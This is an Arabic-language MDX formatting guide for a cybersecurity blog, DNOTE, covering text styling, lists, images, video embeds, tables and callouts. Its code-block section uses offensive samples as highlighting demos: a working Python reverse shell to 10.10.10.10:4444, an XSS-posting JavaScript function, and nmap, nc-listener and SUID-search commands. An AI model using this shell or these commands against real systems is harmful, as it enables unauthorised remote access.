DNOTE (MDX Guide)
مرجع كامل لكيفية كتابة وتنسيق المقالات في المدونة: صور، فيديو، أكواد، والمزيد.
دليل استخدام DNOTE الشامل
مرحباً بك في DNOTE - قاعدة المعرفة التقنية الشاملة. هذا الدليل سيكون مرجعك الكامل لكتابة وتنسيق المقالات باستخدام MDX، وهو نظام يدمج Markdown التقليدي مع قوة React Components.
1️⃣ تنسيق النصوص (Text Formatting)
النص العادي والتنسيقات الأساسية
1️⃣ تنسيق النصوص (Text Formatting)
النص العادي والتنسيقات الأساسية
الكود:
هذا نص عادي.**هذا نص عريض (Bold)**.*هذا نص مائل (Italic)*.~~هذا نص مشطوب (Strikethrough)~~.`هذا كود مضمّن (Inline Code)`.النتيجة:
هذا نص عادي.
هذا نص عريض (Bold).
هذا نص مائل (Italic).
هذا نص مشطوب (Strikethrough).
هذا كود مضمّن (Inline Code).
إضافة ألوان مخصصة
Markdown لا يدعم الألوان بشكل افتراضي، لكن يمكنك استخدام HTML:
الكود:
<span style="color:#FF0055">نص أحمر (Offensive)</span><span style="color:#00F0FF">نص أزرق (Defensive)</span><span style="color:#39FF14">نص أخضر (Engineering)</span><span style="color:#FFD600">نص أصفر (Lab)</span><span style="color:#BF5AF2">نص بنفسجي (Knowledge)</span>النتيجة:
نص أحمر (Offensive) نص أزرق (Defensive) نص أخضر (Engineering) نص أصفر (Lab) نص بنفسجي (Knowledge)2️⃣ القوائم (Lists)
قائمة نقطية (Bullet Points)
الكود:
- العنصر الأول- العنصر الثاني- العنصر الثالث - عنصر فرعي 1 - عنصر فرعي 2النتيجة:
- العنصر الأول
- العنصر الثاني
- العنصر الثالث
- عنصر فرعي 1
- عنصر فرعي 2
قائمة مرقمة (Numbered List)
الكود:
1. الخطوة الأولى2. الخطوة الثانية3. الخطوة الثالثة 1. خطوة فرعية أ 2. خطوة فرعية بالنتيجة:
- الخطوة الأولى
- الخطوة الثانية
- الخطوة الثالثة
- خطوة فرعية أ
- خطوة فرعية ب
قائمة مهام (Task List)
الكود:
- [x] مهمة منجزة- [ ] مهمة قيد التنفيذ- [ ] مهمة مستقبليةالنتيجة:
- مهمة منجزة
- مهمة قيد التنفيذ
- مهمة مستقبلية
3️⃣ الصور (Images)
صورة خارجية (External URL)
الكود:
النتيجة:
صورة محلية (Local Image)
الكود:
النتيجة:
DNOTE Logo
صورة باستخدام المكوّن Figure (مع Caption)
الكود:
<Figure src="/img/common/logos/DNOTE_logo_B.webp" alt="DNOTE Logo" width={400} caption="شعار DNOTE - القاعدة المعرفية التقنية"/>النتيجة:
ملاحظة: جميع الصور تتكيف تلقائياً مع شاشات الموبايل (responsive).
4️⃣ الروابط (Links)
رابط عادي
الكود:
[زيارة موقع GitHub](https://github.com)النتيجة:
رابط مباشر (Direct URL)
الكود:
https://dnote.diyasiam.comالنتيجة:
رابط مع Tooltip
الكود:
[OWASP Top 10](https://owasp.org/www-project-top-ten/ "دليل أهم 10 ثغرات أمنية")النتيجة:
5️⃣ الفيديو (Multimedia)
تضمين فيديو YouTube
الكود:
<YouTubeEmbed videoId="wHRnX1oN3ow" title="مثال على فيديو YouTube" caption="فيديو تعليمي حول استخدام Burp Suite"/>النتيجة:
فيديو تعليمي حول استخدام Burp Suite
نصيحة: احصل على الـ
videoIdمن رابط اليوتيوب بعدv=
تضمين فيديو HTML مباشر (Responsive)
إذا أردت استخدام iframe مباشرة:
الكود:
<div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;border-radius:8px;"> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube.com/embed/wHRnX1oN3ow" frameborder="0" allowfullscreen ></iframe></div>النتيجة:
6️⃣ كتل الأكواد (Code Blocks)
Python
الكود:
```pythondef reverse_shell(ip, port): import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])
reverse_shell("10.10.10.10", 4444)```النتيجة:
def reverse_shell(ip, port): import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])
reverse_shell("10.10.10.10", 4444)JavaScript
الكود:
```javascriptconst exploit = async (target) => { const payload = `<script>alert('XSS')</script>`; const response = await fetch(target, { method: 'POST', body: JSON.stringify({ input: payload }), headers: { 'Content-Type': 'application/json' } }); return response.json();};
exploit('https://vulnerable-site.com/api/submit');```النتيجة:
const exploit = async (target) => { const payload = `<script>alert('XSS')</script>`; const response = await fetch(target, { method: 'POST', body: JSON.stringify({ input: payload }), headers: { 'Content-Type': 'application/json' } }); return response.json();};
exploit('https://vulnerable-site.com/api/submit');Bash
الكود:
```bash# Nmap Scannmap -sV -sC -p- -oN scan.txt 10.10.10.10
# Reverse Shell Listenernc -lvnp 4444
# Privilege Escalation Checkfind / -perm -u=s -type f 2>/dev/null```النتيجة:
# Nmap Scannmap -sV -sC -p- -oN scan.txt 10.10.10.10
# Reverse Shell Listenernc -lvnp 4444
# Privilege Escalation Checkfind / -perm -u=s -type f 2>/dev/null7️⃣ الجداول (Tables)
الكود:
| الثغرة | الوصف | الخطورة ||--------|-------|---------|| SQL Injection | حقن استعلامات SQL ضارة | عالية || XSS | تنفيذ JavaScript في المتصفح | متوسطة || CSRF | تنفيذ طلبات نيابة عن المستخدم | متوسطة |النتيجة:
| الثغرة | الوصف | الخطورة |
|---|---|---|
| SQL Injection | حقن استعلامات SQL ضارة | عالية |
| XSS | تنفيذ JavaScript في المتصفح | متوسطة |
| CSRF | تنفيذ طلبات نيابة عن المستخدم | متوسطة |
جدول مع محاذاة
الكود:
| الأداة | النوع | التكلفة ||:-------|:-----:|--------:|| Burp Suite | Web Testing | $399/year || Metasploit | Framework | Free || Wireshark | Network Analysis | Free |النتيجة:
| الأداة | النوع | التكلفة |
|---|---|---|
| Burp Suite | Web Testing | $399/year |
| Metasploit | Framework | Free |
| Wireshark | Network Analysis | Free |
8️⃣ الاقتباسات والتنبيهات (Blockquotes & Callouts)
اقتباس عادي
الكود:
> "الأمن السيبراني ليس منتجاً، بل هو عملية مستمرة."> — Bruce Schneierالنتيجة:
“الأمن السيبراني ليس منتجاً، بل هو عملية مستمرة.” — Bruce Schneier
تنبيه (Note)
الكود:
> **📌 ملاحظة:** تأكد دائماً من الحصول على إذن كتابي قبل اختبار أي نظام.النتيجة:
📌 ملاحظة: تأكد دائماً من الحصول على إذن كتابي قبل اختبار أي نظام.
تحذير (Warning)
الكود:
> **⚠️ تحذير:** تنفيذ هذا الأمر على نظام غير مصرح به يعد جريمة جنائية.النتيجة:
⚠️ تحذير: تنفيذ هذا الأمر على نظام غير مصرح به يعد جريمة جنائية.
نصيحة (Tip)
الكود:
> **💡 نصيحة:** استخدم `tmux` لإدارة جلسات متعددة أثناء اختبار الاختراق.النتيجة:
💡 نصيحة: استخدم
tmuxلإدارة جلسات متعددة أثناء اختبار الاختراق.
9️⃣ الفواصل (Horizontal Rules)
الكود:
---النتيجة:
يمكنك استخدام ثلاث شرطات أو نجوم أو شرطات سفلية:
---***___🔟 نصائح متقدمة
كتابة محتوى ثنائي اللغة (عربي/إنجليزي)
- الكتابة بالعربي: النص يبدأ من اليمين تلقائياً.
- الكتابة بالإنجليزي: النص يبدأ من اليسار تلقائياً.
- مصطلحات تقنية: يُفضل كتابة المصطلحات التقنية بالإنجليزية داخل نص عربي:
استخدمنا أداة **Burp Suite** لاكتشاف ثغرة **SQL Injection** في الموقع.استخدمنا أداة Burp Suite لاكتشاف ثغرة SQL Injection في الموقع.
استيراد المكوّنات
في بداية أي ملف MDX، يمكنك استيراد المكوّنات:
import Figure from "../../components/Figure.astro";import YouTubeEmbed from "../../components/YouTubeEmbed.astro";معلومات الملف (Frontmatter)
كل مقال يجب أن يبدأ بـ frontmatter:
---title: "عنوان المقال"description: "وصف مختصر للمقال"createdAt: 2025-11-18tags: ["Tag1", "Tag2", "Tag3"]draft: false---- title: عنوان المقال (يظهر في الصفحة الرئيسية).
- description: وصف مختصر (يظهر في نتائج البحث).
- createdAt: تاريخ النشر.
- tags: الوسوم (لتصنيف المقالات).
- draft: إذا كان
trueلن يظهر المقال في الموقع.
🎯 خلاصة الدليل
| العنصر | الاستخدام | المثال |
|---|---|---|
| Bold | **نص** | نص عريض |
| Italic | *نص* | نص مائل |
| Code | `كود` | const x = 1 |
| صورة |  | صورة عادية |
| Figure | <Figure src="..." /> | صورة مع caption |
| YouTube | <YouTubeEmbed videoId="..." /> | فيديو تفاعلي |
| رابط | [نص](url) | GitHub |
| قائمة | - عنصر | • عنصر |
| جدول | | col | col | | جدول منسق |
| اقتباس | > نص | نص مقتبس |